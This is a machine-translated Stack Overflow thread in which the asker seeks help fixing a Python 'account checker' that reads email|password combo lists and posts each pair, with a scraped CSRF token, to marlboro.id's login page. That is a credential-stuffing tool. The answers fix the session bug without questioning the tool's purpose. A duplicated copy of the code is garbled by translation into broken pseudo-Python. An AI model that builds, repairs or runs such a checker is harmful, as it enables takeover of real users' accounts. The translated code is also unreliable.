Python 如何修复AttributeError:module';请求。会话';没有属性';邮政';

Python 如何修复AttributeError:module';请求。会话';没有属性';邮政';,python,Python,我想用python创建帐户检查器 这是我的密码 import requests from bs4 import BeautifulSoup class output(object): def tested(self, email, password): print(f" Posted: {email} {password}") # Get CSRF TOKEN class checker_start(object): def get_token(se

我想用python创建帐户检查器

这是我的密码

    import requests
from bs4 import BeautifulSoup

class output(object):
    def tested(self, email, password):
        print(f" Posted: {email} {password}")


# Get CSRF TOKEN
class checker_start(object):
    def get_token(self):
        data = requests.get("https://www.marlboro.id/auth/login")
        soup = BeautifulSoup(data.text, "lxml")
        decide_csrf = soup.find("input", {"name": "decide_csrf"})["value"]
        return decide_csrf

    def post(self, combo):
        decide_csrf = self.get_token()
        email = combo[0]
        password = combo [1]
        api = requests.sessions
        # Creating POST METHOD #
        param = {"_method": "POST", "decide_csrf": decide_csrf, "email": email, "password": password}
        source = api.post("https://www.marlboro.id/auth/login", data=param).text

        if """<div class="err__msg-big">Opps!</div>""" in source:
            output().tested(email, password)
        else:
            output().tested(email, password)

    def start(self):
        file = input("Please input your txt file: ")
        data = open(file, "r").readlines()
        data_s = [lines.replace("\n", " ") for lines in data]
        for lines in data_s:
            combo = lines.split("|")
            self.post(combo)

if __name__ == "__main__":
    checker_start().start()
导入请求
从bs4导入BeautifulSoup
类输出(对象):
def测试(自我、电子邮件、密码):
打印(f“已发布:{email}{password}”)
#获取CSRF令牌
类检查器\u开始(对象):
def get_令牌(自身):
数据=请求。获取(“https://www.marlboro.id/auth/login")
soup=BeautifulSoup(data.text,“lxml”)
decise_csrf=soup.find(“输入”,{“名称”:“decise_csrf”})[“值”]
返回决定
def post(自我,组合):
decision\u csrf=self.get\u token()
电子邮件=组合[0]
密码=组合[1]
api=requests.sessions
#创建POST方法#
param={U method:“POST”,“decise_csrf”:decise_csrf,“email”:email,“password”:password}
source=api.post(“https://www.marlboro.id/auth/login,data=param)。文本
如果源中有“Opps!”:
输出()。已测试(电子邮件、密码)
其他:
输出()。已测试(电子邮件、密码)
def启动(自):
file=input(“请输入您的txt文件:”)
数据=打开(文件“r”).readlines()
数据_s=[行。替换数据中的行(“\n”,”)]
对于数据中的行:
combo=行。拆分(“|”)
self.post(组合)
如果名称=“\uuuuu main\uuuuuuuu”:
checker_start().start()
但当我运行这些代码时,输出是:

回溯(最近一次调用上次):文件 “/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第39行,in checker_start().start()文件“/Users/erzajullian/PycharmProjects/checker/marlboro.py”,第36行,在 开始 self.post(combo)文件“/Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第23行,在 邮递 source=api.post(“,data=param).text AttributeError:module'requests.sessions'没有 属性“post”

如何解决这些问题?谢谢你

你有

api = requests.sessions
api
不是这一点之后的请求模块,因此它没有
post()
方法

如果你更换

source = api.post("https://www.marlboro.id/auth/login", data=param).text


这能解决问题吗?如果是这样,您可以删除
api=requests.sessions
行。)

首先,您必须稍微更改代码。Post请求应以不同方式处理

import requests
with requests.Sessions as s:
    # Define headers which you will get via post request
    Headers = {'user-agent':'YOUR_HEADERS'}
    url = 'some_url'
    login_data{
    'username':'user',
    'password':'password'
    # Any other login data your site requires}
    r = s.post(url, data=login_data, headers=Headers)
    # now you can use r.content to parse given html in bs4

希望这有帮助

您是否尝试了
api=requests.Session()
而不是
requests.sessions
?您好,我刚刚尝试编辑api=requests.sessions(),但输出仍然错误类型错误:“module”对象不可调用,此时出现新错误?你可以在这里看到关于会话使用的文档:谢谢你,我刚刚替换了代码,问题解决了。所以我只需要用request更改api?我想是的-尽管我不确定
api=requests.sessions
行的初衷是什么。
import requests
with requests.Sessions as s:
    # Define headers which you will get via post request
    Headers = {'user-agent':'YOUR_HEADERS'}
    url = 'some_url'
    login_data{
    'username':'user',
    'password':'password'
    # Any other login data your site requires}
    r = s.post(url, data=login_data, headers=Headers)
    # now you can use r.content to parse given html in bs4